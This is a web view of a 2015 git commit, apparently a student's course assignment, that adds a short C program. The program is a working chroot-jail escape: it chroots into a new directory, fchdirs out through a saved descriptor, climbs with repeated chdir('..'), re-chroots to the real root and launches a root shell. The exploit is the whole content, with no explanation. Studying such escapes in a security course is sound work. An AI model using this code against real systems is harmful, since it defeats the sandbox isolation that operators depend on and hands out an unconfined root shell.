aboutsummaryrefslogtreecommitdiff
path: root/CamilStaps-s4498062-Assignment-6/ex1.c
diff options
context:
space:
mode:
authorCamil Staps2015-12-29 21:59:09 +0100
committerCamil Staps2015-12-29 21:59:09 +0100
commit29d4f26127ef8f3925df8437b41c89e3093d3508 (patch)
treeb88d296e97e64dbbd4d66bd02214f3e7a6b55f41 /CamilStaps-s4498062-Assignment-6/ex1.c
parentFixed typo (diff)
Assignment 6
Diffstat (limited to 'CamilStaps-s4498062-Assignment-6/ex1.c')
-rw-r--r--CamilStaps-s4498062-Assignment-6/ex1.c23
1 files changed, 23 insertions, 0 deletions
diff --git a/CamilStaps-s4498062-Assignment-6/ex1.c b/CamilStaps-s4498062-Assignment-6/ex1.c
new file mode 100644
index 0000000..0ce1505
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-6/ex1.c
@@ -0,0 +1,23 @@
+#include <fcntl.h>
+#include <stdio.h>
+
+int main(void) {
+ int cwdf, x;
+
+ mkdir("crowbardir", 0755);
+
+ cwdf = open(".", O_RDONLY);
+
+ chroot("crowbardir");
+
+ fchdir(cwdf);
+ close(cwdf);
+
+ for (x=0; x<1024; x++)
+ chdir("..");
+
+ chroot(".");
+
+ system("/bin/bash");
+}
+